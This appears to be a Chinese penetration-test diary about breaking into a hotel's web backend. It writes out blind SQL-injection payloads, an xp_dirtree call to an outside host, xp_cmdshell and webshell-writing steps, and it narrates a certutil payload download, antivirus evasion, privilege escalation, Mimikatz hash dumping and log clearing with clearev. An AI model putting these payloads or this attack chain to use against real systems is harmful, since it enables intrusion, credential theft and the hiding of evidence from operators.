12-08 某老弟求助,客户让他打个目标,他没有渗透经验;刚好没啥事,就帮老弟看了看,确实有搞头。
0x01 前言
目标已经主机上线,可以提权,经历了10天的洗礼,学到了很多很多,言归正传,先说说渗透中学到的。
0x02 查找相关资产
通过Fofa,导出目标C段,放到AWVS批量扫,(利用AWVS的表单填充)
发现是某酒店的后台,
通过burp抓包,发现是mssql,输入单引号,返回500,我想运维人员猜测到是功能点出了问题,但没想到是sqli。
12-08 17: 35 然后直接给表弟发消息,说找到一个sqli,可能有搞头.
12-08 17: 38 表第: 牛逼啊,xxxx,拿下有重谢。
说了一堆,吹的我飘飘的,最近也没啥事,刚好看看。
0x03.发现注入点是sa
由于平时对mssql不了解,18号下班后回去补了点相关内容。
命令内容直接参看谢公子写的博客,(本来是付费的)
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring(‘string’,2,1) #截取给定字符串的索引为2的1个字符
select ascii(‘a’) #查询给定字符串的ascii值
select len(‘string’) #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N’TRUE’; #查询当前数据库的大小
sp_spaceused ‘表名’ #查询指定表名的大小
EXEC master.sys.xp_dirtree ‘\192.168.106.5\xx.txt’,0,1;
判断是否是SA权限
select is_srvrolemember(‘sysadmin’)
判断是否是db_owner权限
select is_member(‘db_owner’)
判断是否是public权限
select is_srvrolemember(‘public’)
由于这里是盲注,通过awvs的扫描结果知道支持堆叠,构造payload:
User=1’;if((select is_srvrolemember(‘sysadmin’)=1))%20waitfor%20delay%20’0:0:2’–%20 延时3秒,说明权限为sa。
然后花时间做些不痛不痒的探测,当时做的啥也不清楚了。
探测mssql有大于7个库,延时2秒
探测 mssql库的个数为18,延时2秒
到这里后,通过goby插件探测到目标机上没有waf,好家伙,直接掏出sqlmap,看看
结果sqlmap直接把目标跑崩了,??
12-10 09:27 时间不早了,一个站拖了两天,一天在扫,一天在学,再玩下去就搞不下来了, 这里想到之前一段时间做的二分法。
构造好脚本后,直接去POST,经过反复尝试,返回500,burp抓包payload确不存在这情况,大大的困惑。
12-10 12:12 中午没有休息,苦逼的看着奇异的现象,问了下up哥,说是编码的问题
然后没睡午觉,构造payload,把数据库名跑出来了
0x04 尝试二分法报库
Mssql中不存在limit,可以通过top 1 and not in (top 1)来截取我们想要的记录,
当时构造的payload应该是这样的
“User”: “APsihQdh’;if(ascii(substring((select top 1 name from qtx_bhjh…sysobjects where xtype=‘U’ and name not in(select top 16 name from sysobjects where xtype=‘U’)),{},1))<{}) waitfor delay ‘0:0:4’ --%20”.format(i,mid),
得到第一个表,zyzd,第二个mrfk,第三个cymx… 报破前10个表并没发现admin表。
12/11 17:35 时间已经很晚了,下了班回去弄,nmm的,运气可能有些背
12/12 09:33 上班后,通过构造payload,报破前五个表中的内容
12/12 12:20 看来报表这条思路是走不通了,表中的内容和字段全是无规则的。
0x05 探测目标存在xp_cmdshell
12/13 08:10 已经走投无路了,进后台然后getshell基本行不通,试试能不能直接getshell,毕竟权限是sa 。
01.发现数据库版本为08,r2,
2. 不存在站库分离
03.本地测试开启存储过程xp_cmdshell
把相关payload发包给目标
01.存在xp_cmdshell,延时3秒
02.利用xp_cmdshell 执行ping发现目标机出网,但dnslog这天因为log4j2炸了
03.dnslog接收到消息,已经下班, 上班再测试
03.上班后,再想如何利用sa权限? 找了两小时,发现可以把内容写入表中,然后再通过sqli读出来,虽然说站点没有回显,盲注,但在二分法面前,一个字符也就是3个请求而已。
1.通过create创一张cmdtmp表 create table cmdtmp (dir varchar(1000))
2.发现站点下存在某图片password.png,执行xp_cmdshell通过for批处理查找结果写入cmdtmp这张表
执行延迟35s,猜测可能已经写入
3.这里想了很久,站点没有回显,如何判断是否写入成功了呢?
想到一个很骚的思路,如果写入成功了,那么他的表中列数一定有记录,可以借助这点,
没有写入,花了点时间排查网络的问题后,猜测可能是站点不在c盘
4.通过fuzz,发现盘符为e时,延时20,在执行时,延时小于1,说明已经存在文件。
4.很奇怪的是,这里会有7条记录
04.到这里,基本已经做了大部分的事情,如果能读表,就能带出站点的绝对路径,然后通过sa写入一个小马就能拿到shell,问题是迟迟的不能读出数据
05.12/14 09:32 上班后,考虑如何解决这个问题,站点无任何回显,写入的数据如何去探测呢?
1.类比之前探测表是否写入可以通过探测字段的个数。那么探测字段的数据…好像可以通过探测len(tmp)
2.发包探测目标站点,延时失败,难道说数据是空?
3.本地测试发现存在这问题
5.通过 is null 和is not null探测 cmdtmp表
空记录为5,也就是结果为两条
6.尝试探测结果的第一位字符,值为e,延时2秒
05.做到这里,总算能找到绝对路经了,二分法探测
0x06,目标绝对路径为中文路径。
12/13 10:11 此时,应该点上一只烟,什么牛马环境?
12/13 12:12又没睡午觉,想到一种很巧妙的思路
01.中文通过url编码是可以外带
本地通过for批处理测试
03.执行xp_cmdshell通过web端外带,站点目录下mkdir一个myfile/coco.php文件,发包,
发现挂了代理,coco.php成了cc.php 然后再测试发现已经延时35秒,这里明显嗅到目标机上有相关拦截。
04.顺着思路,nmap扫描发现开了3389,远程看,发现并没有存在360保护进程图标。此时还是陷入了僵局。
0x07.通过nchar函数读取中文路径
这绝对是做过最骚的一个思路,,,如果说目标环境存在中文路径导致不能通过ascii码读表,那么sa权限就显的没有丝毫作用了。
01.时间又过去了一天,通过查询资料,发现可以通过unicode编码汉字,作为二进制存储,,
02.这里通过靶机做一个测验,看到结果发现可以转化为5位数字,
nchar(25214)转化为汉字’找’
03.这里花了一天半的时间写了个sql脚本,(以前也没写过,凭感觉写的发现能用)
04.通过二分法跑出字符,然后nchar(xxxxx)转化
第一个值36719
05.通过xls做出一份资产表,得到结果路径为:
e:\xxx软件\xxx_程序\业主xx\老板通xx程序\网站程序
0x08 通过网站路径写入shell
1.这里折腾了很久,由于目标环境带中文,xp_cmdshell通过调用gbk编码,而我们日常的burp是utf-8编码,通过靶机测试,把中文转化为gb3212,发现已经可以写入
2.发包目标机,成功写入某php小马
3.读表发现确实存在小马,但站点访问404,
疑惑:尝试了多次,无果,折腾了一天,已经15号了,有mdkir的权限,创文件夹,但写入难道不该返回403吗?为什么返回404,难道这不是网站路径吗?
4.花了点时间和up哥交流了一下,没有一个好的结果
12/16 睡了一觉,突然想到会不会是备份的问题,然后又想到之前报路径有两个结果,那另一个结果呢?
0x9x 发现真实网站路径
1.延用前面的nchar函数手法,探测发现真实站点路径为
e:\ \业主xx\老板通xx程序\网站程序 好家伙,原来搞了个备份。
2.尝试mkdir 和创文件,通过读cmdtmp表的记录确实是否有结果
3.nmm的,没有写入权限,,搞了半天,得到路径,不能写入,白打工了,唯一的利用点是可以写入除了c和站点外的目录,于是问问up哥,还有什么手法?
0x10 探测目标存在360?
1.up哥探测出存在360,后续是执行whoami
2.然后通过 certutil下载运行
3.360拦截了,但这里好奇的是360卫士应该有3389的图标?后来up哥说绕过了360
只要运行就行上线,拦截已经进程转移,但奇怪的是站点不能上线
4.这里做了很多,嗅觉告诉我这个杀软可能不是360,百度了一下,发现360浏览器简称就是360se,up哥通过web端执行whoami,结果为360se,也是说的通的
0x11 绝境探测出tasklist
既然是360se,本机靶机通过hta加载文件,发现可以cs上线
2.然后up哥和我一块讨论命令执行的事,想到tasklist
3.执行tasklist写入表,读表,返回数据0发现拦截了,后续又试了mstra白名单,
发现杀软对执行些不敏感的操作
4.然后问3had0w ,看了他的文可以dnslog出网ping 文’ 如何利用dnslog探测目标主机杀软’,
12/19 周末起来已经九点多了,发现执行ping tasklist的进程失败,果然又被拦截了,通过fuzz,发现tasklist | findstr C/.exe 没有拦截,写入表成功
5.然后二分法跑了一上午,到了中午,做出了一份tasklist
6.然后up哥说,他来免杀,12/19 12:18 玩了会游戏,睡了个觉,睡醒后,up发消息
然后半小时
目标机上上线了,nmm的,那一个爽,搞了十来天
杀软真一堆,,up哥说可以烂土豆提权,一会功夫,直接拿下System!
然后让up哥传个马到网站路径下e:\xxx机\xxx部署程序\网站程序
up哥说可以派生个cs到msf,msf很稳定毕竟目标免杀比较多,
Msf收到流量后,默认的ubuntu字体设置为gbk进入目标站点
Load Mi’mi’katz 抓取目标hash administror,看到这我笑了
由于有策略,不对目标内网渗透,没把代理转发到本地,不然可以转发到本地7777,直接访问3389,
做完这些就结束了,执行clearev清除日志,然后再web.config读取配置文件找到sa的密码后,删除sqli的垃圾表就结束了,,,